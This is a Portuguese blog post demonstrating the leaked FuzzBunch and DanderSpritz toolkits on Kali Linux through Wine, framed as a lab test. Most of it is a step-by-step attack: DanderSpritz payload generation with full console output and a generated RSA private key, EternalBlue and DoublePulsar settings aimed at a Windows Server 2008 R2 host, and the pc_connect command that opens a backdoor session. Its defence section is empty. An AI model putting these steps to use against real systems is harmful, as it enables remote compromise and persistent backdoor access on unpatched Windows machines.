DOE AGORA Qualquer valor

Armas da NSA O DanderSpritz administrar computadores comprometidos.


Neste artigo vamos abordar um vazamento que ocorreu sexta-feira, 14 de abril de 2017, em que o grupo “ShadowBrokers” liberou várias ferramentas de hacking, supostamente obtidas a partir do grupo conhecido como “Equation Group” (suspeitamente vinculado à NSA).
Este artigo se faz necessário, mesmo após a publicação de diversos outros artigos pela comunidade de SI (Segurança da informação) por dois simples fatos:
O primeiro motivo é derivado ao fato de que todos os pesquisadores optaram por demonstrar de alguma forma esta ferramenta utilizando apenas o sistema operativo Windows, não foi encontrado dentro da comunidade nenhum outro artigo que aborda-se este tema pela vertente do Linux, o que deixou margem para uma demonstração das ferramentas e um comparativo na seção de considerações finais (conclusão).
O segundo motivo é que dentro da comunidade de SI em 90% dos casos os testes de pentest são realizados com sistemas derivados do Linux que podem ser customizados pelo profissional de segurança, garantindo uma melhor performance durante os testes e usabilidade, segundo o site fossbytes.com realizar um teste profissional de pentest não é mais uma questão de OS (Operation System), mas de escolher um sistema avançado e dedicado de pentest baseado em Linux.
It’s time to pause the archaic Windows vs. OS X vs. Linux discussion and switch over to some advanced operating systems dedicated to pen testing and ethical hacking.
Este artigo está dividido da seguinte forma:
  • Introdução
  • Iniciando o Ataque
  1. FuzzBunch
  2. DanderSpritz
  • Soluções de Defesa
  • Conclusão
  • Referências

Introdução

Uma das ferramentas do vazamento divulgadas de forma pública pelo grupo de Hackers ShadowBrokers, dá-se pelo nome de Fuzzbunch a outra DanderSpritz.
O DanderSpritz pode-se definir como uma console de comando e controle de gerenciamento baseado em Java para administrar computadores comprometidos.
O Fuzzbunch pode-se compar ao famoso Metasploit, com a diferença que é escrito em Python em vez de Ruby, a linguagem de programação padrão do Metasploit. Ele contém uma estrutura fácil de usar para o usuário final, a fim de enviar exploits e interagir com os computadores comprometidos.
A estrutura do FuzzBunch contém várias explorações prontas a serem usadas, cada uma para tipos específicos de alvo, seja sistema operativo ou serviço, entre a lista temos de forma resumida os seguintes executáveis:
  • Easybee-1.0.1.exe
  • Easypi-3.1.0.exe
  • Eclipsedwing-1.5.2.exe
  • Educatedscholar-1.0.0.exe
  • Emeraldthread-3.0.0.exe
  • Emphasismine-3.4.0.exe
  • Englishmansdentist-1.2.0.exe
  • Erraticgopher-1.0.1.exe
  • Eskimoroll-1.1.1.exe
  • Esteemaudit-2.1.0.exe
  • Eternalromance-1.3.0.exe
  • Eternalromance-1.4.0.exe
  • Eternalsynergy-1.0.1.exe
  • Ewokfrenzy-2.0.0.exe
  • Explodingcan-2.0.2.exe
  • Eternalblue-2.2.0.exe
  • Eternalchampion-2.0.0.exe

Iniciando o ataque

Para dar inicio ao ataque contra sistemas operativos Windows, utilizamos o Kali Linux, carregado com a framework em um ambiente controlado de laboratório para a execução deste exemplo prática, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as ações que praticar.
Não é intenção deste artigo explicar o passo-a-passo da configuração das ferramentas em ambiente Linux, apenas demonstrar que é possível que sejam instaladas e as tarefas executadas com sucesso, o Fuzzbunch é executado por (fb.py) & DanderSpritz é executado por (start_lp.py).
Depois de instalado e configurado deve proceder para os próximos passos, descritos em baixo.
Para iniciar a ferramenta em modo gráfico deve digitar o seguinte comando:
root@kali:~# wine cmd.exe
Microsoft Windows 5.2.3790 (1.8.7)
Z:\root>c:
C:\>cd nsa
C:\nsa>cd windows
C:\nsa\windows>FUZZBUNCH-GUI.bat
#################Developed by LibertyNET####################
C:\nsa\windows>c:
C:\nsa\windows>cd c:\nsa\windows
C:\nsa\windows>java -jar Start.jar
Com isto pode observar que uma janela dentro do Kali Linux é aberta onde deve configurar os seguintes parâmetros:
  • Operation Disk
  • Resource Directory
  • Log Directory
  • Configuration Directory
  • Local Comms
Todos os padrões remetem para um valor absoluto dentro do disco, entenda que mesmo estando a trabalhar dentro do Linux tem que selecionar o disco c:\
De seguida feitas as configurações iniciais que não estão no escopo deste artigo deve clicar em GO para lançar o DanderSprintz. Demora alguns segundos, dependendo da sua configuração de software, no caso apresentado utilizamos 8GB de RAM e um Intel Core Dual de 2,66Ghz.
Agora é a vez de aguardar alguns minutos até todos os módulos serem carregados, para depois se iniciar com as configurações do Payload.
Para se iniciar as configurações é necessário digitar o seguinte comando, dentro da console do DanderSpritz:
pc_prep
Após isto 19 possíveis payloads são apresentados na console, neste momento é necessário selecionar um que mais se caracterize com o protocolo, aplicação e o hardware de nosso alvo (32 ou 64 bits).

Possible payloads:
  • - 0) - Quit
  • - 1) - Standard TCP (x64-winnt Level4 sharedlib)
  • - 2) - HTTP Proxy (x64-winnt Level4 sharedlib)
  • - 3) - Standard TCP AppCompat-enabled (x64-winnt Level4 sharedlib)
  • - 4) - HTTP Proxy AppCompat-enabled (x64-winnt Level4 sharedlib)
  • - 5) - Standard TCP WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
  • - 6) - HTTP Proxy WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
  • - 7) - Standard TCP (x64-winnt Level4 exe)
  • - 8) - HTTP Proxy (x64-winnt Level4 exe)
  • - 9) - Standard TCP Generic (i386-winnt Level4 sharedlib)
  • - 10) - HTTP Proxy Generic (i386-winnt Level4 sharedlib)
  • - 11) - Standard TCP AppCompat-enabled (i386-winnt Level4 sharedlib)
  • - 12) - HTTP Proxy AppCompat-enabled (i386-winnt Level4 sharedlib)
  • - 13) - Standard TCP UtilityBurst-enabled (i386-winnt Level4 sharedlib)
  • - 14) - HTTP Proxy UtilityBurst-enabled (i386-winnt Level4 sharedlib)
  • - 15) - Standard TCP WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
  • - 16) - HTTP Proxy WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
  • - 17) - Standard TCP (i386-winnt Level4 exe)
  • - 18) - HTTP Proxy (i386-winnt Level4 exe)
  • - 19) - Standard TCP (i386-winnt Level3 sharedlib)
  • - 20) - HTTP Proxy (i386-winnt Level3 sharedlib)
  • - 21) - Standard TCP (i386-winnt Level3 exe)
  • - 22) - HTTP Proxy (i386-winnt Level3 exe)
  • - 23) - Standard TCP (x64-winnt Level3 sharedlib)
  • - 24) - HTTP Proxy (x64-winnt Level3 sharedlib)
  • - 25) - Standard TCP (x64-winnt Level3 exe)
  • - 26) - HTTP Proxy (x64-winnt Level3 exe)
Selecionamos para demonstração o payload 1 Standard TCP (x64-winnt Level4 sharedlib), porque nosso alvo é um servidor windows Server 2008 R2 de 64bits.
Logo de seguida vamos apresentar a configuração inteira deste payload, o que pode e normalmente varia de máquina para máquina, então este procedimento tem que ser específico para cada alvo, não pode seguir um padrão único de configuração.
Pick the payload type1Update advanced settingsYESPerform IMMEDIATE CALLBACK?NOUpdate the Windows firewall when listening?YESEnter the PC ID [0]0Change the number of LISTEN LOOPS?YESEnter the number of listen loops [6]6Change the LISTEN DURATION per loop?NODo you want to LISTEN?YESChange the LISTEN HOURS?NOChange LISTEN BIND ADDRESSNOEnter the callback address (127.0.0.1 = no callback) [127.0.0.1]127.0.0.1Change CALLBACK PORTS?NOChange exe name in version information?NO- Pick a key-   0) Exit-   1) Create a new key-   2) DefaultEnter the desired option1Enter the key namebackdoorRunning command 'local run -command "C:\nsa\windows\Resources\Pc\Tools\i386-winnt\GenKey.exe 2048 C:\nsa\windows\Resources\Pc\Keys\backdoor" -redirect -noinput'Loading module 1419 (addr=z0.0.0.1
 
| type=dsz | file=Run_Data.dll)
Module loadedLoading module 219 (addr=z0.0.0.1
 
| type=dsz | file=Run_Target.dll)
Module loadedLoading module 419 (addr=z0.0.0.1
 
| type=dsz | file=Run_Lp.dll)
Module loadedProcess started with id 73Generating key...Public Key: Bits : 2048 Modulus :bdeebc9de8ee082b8a2ac6e9fbff67a4ef9d8e5cf3a31c1218fe9f75c5acd63dd7d2cfb2bb23ac0219b08bb44170fa649b8ff2366d4f533efe2328b21ede3835defbf26495ca1dee6a5dfaf3ff2d0fdc3a765408ba9919701f8646c66797a90fed9e84d4e596db09c2f7648ed339a14eeb2b9c9237231b68054be59bcd7cc39a1732bf9e685403ffd2d018838b527eff538c03c19f6c3a3db4faced7b45157b6f214af9687c2af3c599d39b4d0bbe9fde031a95b60d342f0b73f93094bff7580b6ef6f336fb594834e79d1bbb98d50d896903a0b856bc1908a3572bd6d4d751bde5acc61d30251124da553cc7d7dc74d1ed0eb5def8a8f785a6621e36c5e9905 Exponent :00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001Private Key: Bits : 2048 Modulus :bdeebc9de8ee082b8a2ac6e9fbff67a4ef9d8e5cf3a31c1218fe9f75c5acd63dd7d2cfb2bb23ac0219b08bb44170fa649b8ff2366d4f533efe2328b21ede3835defbf26495ca1dee6a5dfaf3ff2d0fdc3a765408ba9919701f8646c66797a90fed9e84d4e596db09c2f7648ed339a14eeb2b9c9237231b68054be59bcd7cc39a1732bf9e685403ffd2d018838b527eff538c03c19f6c3a3db4faced7b45157b6f214af9687c2af3c599d39b4d0bbe9fde031a95b60d342f0b73f93094bff7580b6ef6f336fb594834e79d1bbb98d50d896903a0b856bc1908a3572bd6d4d751bde5acc61d30251124da553cc7d7dc74d1ed0eb5def8a8f785a6621e36c5e9905 Public Exponent :00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001 Exponent :b37da00663103fec55a06366d05ce7a7b9425e3d7d89918790d36002be92bdcca7df73a4e6b1a9663abcdae9b8467a7b05801d584e28fef4b2daab24d9830bffed00906b7a1b0dfa37cf24cfdd40ca92473577e8dfdebb6978813ef55504c0226b5eb90d310345708e2d997c58254849fa78b6787f5ed011979fc8175b3422ec232a72b8210264958c1a22054aeb84369ea5797065cfe228d186f32d99e678a11609d3905792c41d9bddc3c2f4d5da23ec2dc394fbf3ac79cc99cb05f0c76e0f20bedd1aa0112ab5db03787d1aa1bb8fe0a2efadf7995dcec61c8d583306a1d473780aaa35dc389c8832a312fbe5508eeb98ea166010bb2f749a14b90108b241 Prime 1 :f48d5c9552b08467d3cdc4a72f37fd30350a3c5056a98839a87ab84904f55bc35a7f8576b51339b97429ea64f2c7f6ba100489f251496527723c9b15d7d74a39f0c5eef3878641015f45842746ac7f71b7e352fcf2bfe3aeab05abc415abe6f64a2fb77458bf1b892d4e0001169890c2295f508500c7dd52c2b7bff3ae77105d Prime 2 :c6d2d48dbe787ef0decf9c1fb2a1251220773f29ed805ed4ebb4e6f6767769550e420d1723594fb276c27bad611a78457b55b06ed31ae3e3ab63dfd23489a81ecf085182ca11cd50c9fd5af1ed0267cb53f43c6cd391a9c8b0f828f75f8e394a8d14e05b8c78ffe9e5188f5dfc689ced4cfd94aaadcd9e984ded16eb2141c0c9 Prime Exponent 1:88aaab6fe3ab340396316b52072861fd5bd6e18800367423ccccf04a16544c38eb4d52b7d94fea3582fe9db856997b7fd5cdc38dc0f1a46f1bff54a82b5c6c65def1aead3832c6074f47d927ddee2eb6cd8e63e56a7fe46ccbb4ba9e358240eba8dfebc54087648b0fdf844f1762a19b70658ce9175b9a8b52b83fb49dee7a1d Prime Exponent 2 :b5595e58bf6fe6d14b59f05c953118c014eecfa52da5565a3d782ee6851ddbeca1e9ab48fc8c1cfe7a06608abf34469991aa921833e3a61366a3dd663d57860a3beaa976735b937b6a11f65f0e40906dcc70cca0b2c57d28ba0a504b7a541e7b9a7d7d3ae3c10623d03bfba0cd769a14749223851eac9b48ee631ff16dcf2cc9 Coefficient :89a27582d66daf6dca7e7e64df67d335f4b860577338ae629c9196a5ac818d1ff87b93cb9dda1b188b1bfc126ed7d70165a600e4bc8805a31e6d940aada65bd98df1f4d0a2537f0cf5b4e654ecc6390f1a84befa7712de46fd550bdcd9a68c845404899d4c83987c9920a84e4cdc2289e0dde9101547989599b87e7075f8418f PrivateEncrypt -> PublicDecrypt SUCCEEDEDPublicEncrypt -> PrivateDecrypt SUCCEEDEDProcess terminated with status 0 Command completed successfully- Configuration:- - <?xml version='1.0' encoding='UTF-8' ?>- <PCConfig>- <Flags>- <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/>- </Flags>- <Id>0x0</Id>- <ListenLoops>6</ListenLoops>- <CallbackAddress>127.0.0.1</CallbackAddress>- </PCConfig>- Is this configuration validYESDo you want to configure with FC?NO- Configured binary at:- C:\Logs\Proj1\z0.0.0.1
 
\Payloads\PeddleCheap_2017_06_06_01h11m24s.221/PC_Level4_dll.configured
A configuração é um pouco extensa e é necessário configurar 16 passos até que o payload seja corretamente criado com sucesso.
De seguida o próximo passo é navegar até à pasta onde a dll se encontra e verificar que foi criada com sucesso esta dll é o payload que foi gerado pelo DanderSpritz que será injetado no windows, ou seja, no nosso alvo é importante aqui guardar o caminho exato que vai ser utilizado mais à frente durante a próxima configuração.
Repare que eliminamos um payload antigo com o comando del do MS-DOS.
O caminho é o:
C:\Logs\Proj1\z0.0.0.1
 
\Payloads\PeddleCheap_2017_06_06_01h11m24s.221/PC_Level4_dll.configured
NOTA: O nome depende do momento que o payload é criado.
Agora devemos abir o próximo programa que é o Fuzzbunch com o seguinte comando:
C:\nsa\windows>python fb.py
Lembrando que continuamos a utilizar o Kali Linux, apenas estamos a emular o programa que por padrão funciona em Windows.
Posto isto nos deparamos com uma nova tela no shell onde precisamos configurar mais uma série de parâmetros.
Durante a configuração verificamos uma situação atípica na digitação do IP do alvo, o que nos obrigou a algum troubleshooting que depressa foi resolvido, com a abertura do programa diretamente pelo python conforme se pode observar na figura em baixo.
Após isto, os seguintes parâmetros foram configurados:
  • Default Target IP Address []
  • Default Callback IP Address
  • Use Redirection []
  • Base Log directory []
  • Project []
  • Set Target log directory []
Repare que o drive da pasta dos logs tem que ser alterada de D:\ para C:\ caso contrário um erro de Access Denied é verificado, isto se deve ao fato de que estamos a emular o drive C: do Windows dentro do Linux para rodar o programa.
Agora na console do fb, um comando bastante útil é o help que fornece uma lista completa de comandos que podem ser utilizados neste shell, um outro comando também interessante é o banner, com ele temos uma visão de quantidades de ferramentas disponíveis.
Repare que temos 2 Implants, 15 Exploits, 16 Touchers, 15 Payloads mais 2 Specials que necessitam de uma maior investigação, para se caracterizarem como do tipo zero-days exploits.
De seguida digitamos use e TAB para ver o nome de cada um deles.
No nosso caso vamos usar o EternalBlue seguido do Doublepulsar que explora uma falha no protocolo SMB porta TCP 445, que por norma funciona apenas internamente dentro das empresas, contudo em um outro artigo publicado demonstramos que este protocolo está bem presente na internet, o que levantou uma falha enorme de segurança mundial com o malware wannacry também abordado nesse mesmo artigo.
Apenas vamos mencionar alguns dos parâmetros que devem ser alterados, pois por padrão já vêem selecionados.
  • Target [0] -> 1) WIN72K8R2
  • Mode [Dane] -> FB (Fuzzbunch)
Por último deve aceitar a execução, para o programa continuar a ser executado, pode ocorrer que o Eternalblue falhe o exploit na primeira ou segunda tentativa, na figura abaixo pode perceber que ele falhou a primeira tentativa, depois conseguiu explorar o alvo com sucesso.
Repare que ele começa por enviar grandes pacotes de dados para o buffer do protocolo SMBv1 e por último para o SMBv2, caracterizando um típico ataque de Buffer Overflow, que se caracteriza por uma anomalia onde um programa, ao escrever dados em um buffer, ultrapassa os limites desse mesmo buffer e sobrescreve na memória adjacente dados que não deveriam ser escritos.
De seguida vamos usar o Doublepulsar e configurar os parâmetros inicias, apenas os mais importantes vão ser mencionados.
  • Architecture [x86] -> x64
  • Function [0] -> 2 (RunDLL)
  • DllPayload[] -> C:\Logs\Proj1\z0.0.0.1
     
    \Payloads\PeddleCheap_2017_06_06_01h11m24s.221/PC_Level4_dll.configured
  • DllOrdinal[1] -> 5
A configuração correta do DllPayload é muito importante, pois ele foi criado no inicio com o DanderSpritz que será utilizado por último para se ter acesso ao shell do alvo.
Ainda antes de executarmos o DoublePulsar, lançamos o wireshark no Kali para verificarmos o que vai ser enviado para o servidor alvo.
O interessante da captura é que podemos ver alguns pontos interessantes, descritos a seguir:
  • O Exploit utilizado o usuário anonymous
  • O Exploit utiliza o serviço IPC$
  • O Exploit procura algum tipo de código de erro.
O compartilhamento IPC$ é também conhecido como uma conexão de sessão nula. Usando esta sessão, o Windows permite que usuários anônimos executem determinadas atividades, como enumeração de nomes de contas de domínio e compartilhamentos de rede.O compartilhamento IPC$ é criado pelo serviço servidor do Windows.
Este compartilhamento especial existe para permitir subsequentes ligações ao servidor de pipe nomeado. Pipes nomeados do servidor são criados por componentes internos do sistema operacional e por todos os aplicativos ou serviços que estão instalados no sistema. Quando o pipe nomeado é criado, o processo especifica a segurança que está associado com o pipe e certifica-se de que o acesso é concedido apenas para os usuários ou grupos especificados.
Segundo a Microsoft “ No Windows Server 2003, Windows Server 2008 ou Windows Server 2008 R2, o compartilhamento IPC$ não pode ser gerenciado ou restrita.”
Então o Exploit acaba por explorar esta peculariedade dentro do SMB e consegue direitos dentro da pasta IPC$ para executar o seu payload.
Por último e de volta à consola do DanderSpritz, selecionamos a aba PeddleCheap e configuramos os seguintes parâmetros:
  • Key -> Selecionamos a Default, mas poderiamos selecionar a key de nome backdoor criada inicialmente, apenas para efeitos didáticos.
  • Payload -> Selecionamos o Dandersprintz
  • IP address do alvo -> 192.168.2.250
  • Port TCP -> 8080 (Foi necessário configurar o ficheiro C:\Logs\Proj1\z0.0.0.1
     
    \Payloads\PeddleCheap_2017_06_06_01h11m24s.221/PC_Level4_dll.configured\config.final.xml)
Clicamos em Connect to Target e exploramos com sucesso um servidor Windows Server 2008 R2 de 64 bits, com o seguinte comando:
pc_connect -key “Default” -payload “Dandersprintz” -run “memlib” -target 192.168.2.250 8080

Soluções de Defesa:

Conclusão:

Neste artigo abordamos a ferramenta Fuzzbunch desenvolvida em python e a Dandersprintz desenvolvida em Java pela primeira vez em ambiente Linux.
A ferramenta apresenta uma interface GUI bastante prática e funcional, permitindo o gerenciamento de “implantes” remotos com bastante facilidade, porém o que se torna mais complexo é a necessidade de executar o Fuzzbunch em uma outra janela, o que no Linux não é trivial, pois é necessário abrir diretamente com o Python, caso contrário alguns erros de digitação ocorreram, o que inviabiliza o uso da ferramenta.
Em relação ao teste efetuado em laboratório, reparamos que o Linux apresentou uma maior lentidão na execução do Payload , contudo a ferramenta sempre esteve estável, não apresentando nenhuma quebra de conexão com o alvo selecionado.
Concluímos assim que o Dandersprintz e o Fuzzbunch funcionam perfeitamente no Linux, sem nenhuma incompatibilidade de execução do payload ou do exploit.

Referências:

----------------------------------//-----------------------//-------------------------------------
Autor: Carlos Rodrigues
Especialista em Eng. de Telecomunicações e Segurança Computacional
Fundador e mentor do Projeto Open Source LibertyNET

https://www.facebook.com/notes/carlos-rodrigues-it/a-new-approach-of-fuzzbunch-and-danderspritz-on-linux/1487722821293302/

Comentários

Ebook

Postagens mais visitadas